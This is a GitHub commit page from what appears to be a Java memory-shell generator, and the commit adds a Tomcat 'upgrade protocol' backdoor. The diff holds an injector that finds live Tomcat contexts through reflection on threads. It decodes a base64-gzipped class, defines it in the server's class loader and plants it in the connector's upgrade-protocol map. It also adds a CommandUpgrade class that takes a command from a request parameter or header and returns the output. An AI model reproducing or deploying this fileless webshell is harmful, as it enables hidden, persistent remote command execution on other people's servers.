Skip to content

Commit b429983

Browse files
committed
feat: support tomcat upgrade
1 parent 1a35067 commit b429983

File tree

18 files changed

+418
-1
lines changed

18 files changed

+418
-1
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -132,6 +132,7 @@ public class ServerFactory {
132132
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
133133
.addShellClass(WEBSOCKET, CommandWebSocket.class)
134134
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
135+
.addShellClass(UPGRADE, CommandUpgrade.class)
135136
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
136137
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
137138
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@ public class ShellType {
1515
public static final String JAKARTA_LISTENER = JAKARTA + LISTENER;
1616

1717
public static final String VALVE = "Valve";
18+
public static final String UPGRADE = "Upgrade";
1819
public static final String JAKARTA_VALVE = JAKARTA + VALVE;
1920
public static final String PROXY_VALVE = "Proxy" + VALVE;
2021
public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE;
Lines changed: 222 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,222 @@
1+
package com.reajason.javaweb.memshell.injector.tomcat;
2+
3+
import java.io.ByteArrayInputStream;
4+
import java.io.ByteArrayOutputStream;
5+
import java.io.IOException;
6+
import java.io.PrintStream;
7+
import java.lang.reflect.Field;
8+
import java.lang.reflect.Method;
9+
import java.util.HashSet;
10+
import java.util.Map;
11+
import java.util.Set;
12+
import java.util.zip.GZIPInputStream;
13+
14+
/**
15+
* @author ReaJason
16+
*/
17+
public class TomcatUpgradeInjector {
18+
19+
private static String msg = "";
20+
private static boolean ok = false;
21+
22+
public String getClassName() {
23+
return "{{className}}";
24+
}
25+
26+
public String getBase64String() {
27+
return "{{base64Str}}";
28+
}
29+
30+
public TomcatUpgradeInjector() {
31+
if (ok) {
32+
return;
33+
}
34+
Set<Object> contexts = null;
35+
try {
36+
contexts = getContext();
37+
} catch (Throwable throwable) {
38+
msg += "context error: " + getErrorMessage(throwable);
39+
}
40+
if (contexts == null) {
41+
msg += "context not found";
42+
} else {
43+
for (Object context : contexts) {
44+
try {
45+
msg += ("context: [" + getContextRoot(context) + "] ");
46+
Object shell = getShell(context);
47+
inject(context, shell);
48+
msg += "[/*] ready\n";
49+
} catch (Throwable e) {
50+
msg += "failed " + getErrorMessage(e) + "\n";
51+
}
52+
}
53+
}
54+
ok = true;
55+
System.out.println(msg);
56+
}
57+
58+
@SuppressWarnings("all")
59+
private String getContextRoot(Object context) {
60+
String r = null;
61+
try {
62+
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
63+
} catch (Exception ignored) {
64+
}
65+
String c = context.getClass().getName();
66+
if (r == null) {
67+
return c;
68+
}
69+
if (r.isEmpty()) {
70+
return c + "(/)";
71+
}
72+
return c + "(" + r + ")";
73+
}
74+
75+
/**
76+
* org.apache.catalina.core.StandardContext
77+
* /usr/local/tomcat/server/lib/catalina.jar
78+
*/
79+
public Set<Object> getContext() throws Exception {
80+
Set<Object> contexts = new HashSet<Object>();
81+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
82+
for (Thread thread : threads) {
83+
if (thread.getName().contains("ContainerBackgroundProcessor")) {
84+
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
85+
for (Object value : childrenMap.values()) {
86+
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
87+
contexts.addAll(children.values());
88+
}
89+
} else if (thread.getContextClassLoader() != null) {
90+
String name = thread.getContextClassLoader().getClass().getSimpleName();
91+
if (name.matches(".+WebappClassLoader")) {
92+
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
93+
// need WebResourceRoot not DirContext
94+
if (resources != null && resources.getClass().getName().endsWith("Root")) {
95+
Object context = getFieldValue(resources, "context");
96+
contexts.add(context);
97+
}
98+
}
99+
}
100+
}
101+
return contexts;
102+
}
103+
104+
@SuppressWarnings("all")
105+
private Object getShell(Object context) throws Exception {
106+
ClassLoader classLoader = context.getClass().getClassLoader();
107+
Class<?> clazz = null;
108+
try {
109+
clazz = classLoader.loadClass(getClassName());
110+
} catch (Exception e) {
111+
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
112+
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
113+
defineClass.setAccessible(true);
114+
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
115+
}
116+
msg += "[" + classLoader.getClass().getName() + "] ";
117+
return clazz.newInstance();
118+
}
119+
120+
@SuppressWarnings("all")
121+
public void inject(Object context, Object shell) throws Exception {
122+
Object engine = getFieldValue(getFieldValue(context, "parent"), "parent");
123+
Object service = getFieldValue(engine, "service");
124+
Object connector = ((Object[]) getFieldValue(service, "connectors"))[0];
125+
Object protocolHandler = getFieldValue(connector, "protocolHandler");
126+
Map<String, Object> httpUpgradeProtocols = ((Map<String, Object>) getFieldValue(protocolHandler, "httpUpgradeProtocols"));
127+
if (httpUpgradeProtocols.containsKey(getClassName())) {
128+
return;
129+
}
130+
httpUpgradeProtocols.put(getClassName(), shell);
131+
}
132+
133+
@Override
134+
public String toString() {
135+
return msg;
136+
}
137+
138+
@SuppressWarnings("all")
139+
public static byte[] decodeBase64(String base64Str) throws Exception {
140+
Class<?> decoderClass;
141+
try {
142+
decoderClass = Class.forName("java.util.Base64");
143+
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
144+
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
145+
} catch (Exception ignored) {
146+
decoderClass = Class.forName("sun.misc.BASE64Decoder");
147+
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
148+
}
149+
}
150+
151+
@SuppressWarnings("all")
152+
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
153+
ByteArrayOutputStream out = new ByteArrayOutputStream();
154+
GZIPInputStream gzipInputStream = null;
155+
try {
156+
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
157+
byte[] buffer = new byte[4096];
158+
int n;
159+
while ((n = gzipInputStream.read(buffer)) > 0) {
160+
out.write(buffer, 0, n);
161+
}
162+
return out.toByteArray();
163+
} finally {
164+
if (gzipInputStream != null) {
165+
gzipInputStream.close();
166+
}
167+
out.close();
168+
}
169+
}
170+
171+
@SuppressWarnings("all")
172+
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
173+
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
174+
Method method = null;
175+
while (clazz != null && method == null) {
176+
try {
177+
if (paramClazz == null) {
178+
method = clazz.getDeclaredMethod(methodName);
179+
} else {
180+
method = clazz.getDeclaredMethod(methodName, paramClazz);
181+
}
182+
} catch (NoSuchMethodException e) {
183+
clazz = clazz.getSuperclass();
184+
}
185+
}
186+
if (method == null) {
187+
throw new NoSuchMethodException("Method not found: " + methodName);
188+
}
189+
method.setAccessible(true);
190+
return method.invoke(obj instanceof Class ? null : obj, param);
191+
}
192+
193+
@SuppressWarnings("all")
194+
public static Object getFieldValue(Object obj, String name) throws Exception {
195+
Class<?> clazz = obj.getClass();
196+
while (clazz != Object.class) {
197+
try {
198+
Field field = clazz.getDeclaredField(name);
199+
field.setAccessible(true);
200+
return field.get(obj);
201+
} catch (NoSuchFieldException var5) {
202+
clazz = clazz.getSuperclass();
203+
}
204+
}
205+
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
206+
}
207+
208+
@SuppressWarnings("all")
209+
private String getErrorMessage(Throwable throwable) {
210+
PrintStream printStream = null;
211+
try {
212+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
213+
printStream = new PrintStream(outputStream);
214+
throwable.printStackTrace(printStream);
215+
return outputStream.toString();
216+
} finally {
217+
if (printStream != null) {
218+
printStream.close();
219+
}
220+
}
221+
}
222+
}

generator/src/main/java/com/reajason/javaweb/memshell/server/Tomcat.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -46,6 +46,7 @@ public InjectorMapping getShellInjectorMapping() {
4646
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
4747
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
4848
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
49+
.addInjector(UPGRADE, TomcatUpgradeInjector.class)
4950
.build();
5051
}
5152
}
Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
package com.reajason.javaweb.memshell.shelltool.command;
2+
3+
import org.apache.catalina.connector.Response;
4+
import org.apache.coyote.Adapter;
5+
import org.apache.coyote.Processor;
6+
import org.apache.coyote.Request;
7+
import org.apache.coyote.UpgradeProtocol;
8+
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
9+
import org.apache.tomcat.util.net.SocketWrapperBase;
10+
11+
import java.io.InputStream;
12+
import java.io.OutputStream;
13+
import java.lang.reflect.Field;
14+
import java.util.Scanner;
15+
16+
/**
17+
* @author ReaJason
18+
* @since 2025/12/6
19+
*/
20+
public class CommandUpgrade implements UpgradeProtocol {
21+
public static String paramName;
22+
23+
@Override
24+
public boolean accept(Request req) {
25+
org.apache.catalina.connector.Request request = ((org.apache.catalina.connector.Request) req.getNote(1));
26+
Response response = request.getResponse();
27+
try {
28+
String p = request.getParameter(paramName);
29+
if (p == null || p.isEmpty()) {
30+
p = request.getHeader(paramName);
31+
}
32+
if (p != null) {
33+
String param = getParam(p);
34+
InputStream inputStream = getInputStream(param);
35+
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
36+
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
37+
outputStream.flush();
38+
inputStream.close();
39+
return true;
40+
}
41+
} catch (Throwable e) {
42+
e.printStackTrace();
43+
}
44+
return true;
45+
}
46+
47+
private String getParam(String param) {
48+
return param;
49+
}
50+
51+
private InputStream getInputStream(String param) throws Exception {
52+
return null;
53+
}
54+
55+
@SuppressWarnings("all")
56+
public static Object getFieldValue(Object obj, String name) throws Exception {
57+
Class<?> clazz = obj.getClass();
58+
while (clazz != Object.class) {
59+
try {
60+
Field field = clazz.getDeclaredField(name);
61+
field.setAccessible(true);
62+
return field.get(obj);
63+
} catch (NoSuchFieldException var5) {
64+
clazz = clazz.getSuperclass();
65+
}
66+
}
67+
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
68+
}
69+
70+
@Override
71+
public String getHttpUpgradeName(boolean isSSLEnabled) {
72+
return "";
73+
}
74+
75+
@Override
76+
public byte[] getAlpnIdentifier() {
77+
return new byte[0];
78+
}
79+
80+
@Override
81+
public String getAlpnName() {
82+
return "";
83+
}
84+
85+
@Override
86+
public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) {
87+
return null;
88+
}
89+
90+
@Override
91+
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request) {
92+
return null;
93+
}
94+
}

generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -146,4 +146,8 @@ public static String generateShellClassName(String server, String shellType) {
146146
+ "." + getRandomString(5)
147147
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
148148
}
149+
150+
public static String getSimpleName(String injectorClassName) {
151+
return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1);
152+
}
149153
}

generator/src/main/java/org/apache/catalina/connector/Request.java

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -342,4 +342,8 @@ public AsyncContext getAsyncContext() {
342342
public DispatcherType getDispatcherType() {
343343
return null;
344344
}
345+
346+
public Response getResponse() {
347+
return null;
348+
}
345349
}
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
package org.apache.coyote;
2+
3+
/**
4+
* @author ReaJason
5+
* @since 2025/12/6
6+
*/
7+
public interface Adapter {
8+
}
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
package org.apache.coyote;
2+
3+
/**
4+
* @author ReaJason
5+
* @since 2025/12/6
6+
*/
7+
public interface Processor {
8+
}
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
package org.apache.coyote;
2+
3+
/**
4+
* @author ReaJason
5+
* @since 2025/12/6
6+
*/
7+
public class Request {
8+
public Object getNote(int id) {
9+
return null;
10+
}
11+
}

0 commit comments

Comments
 (0)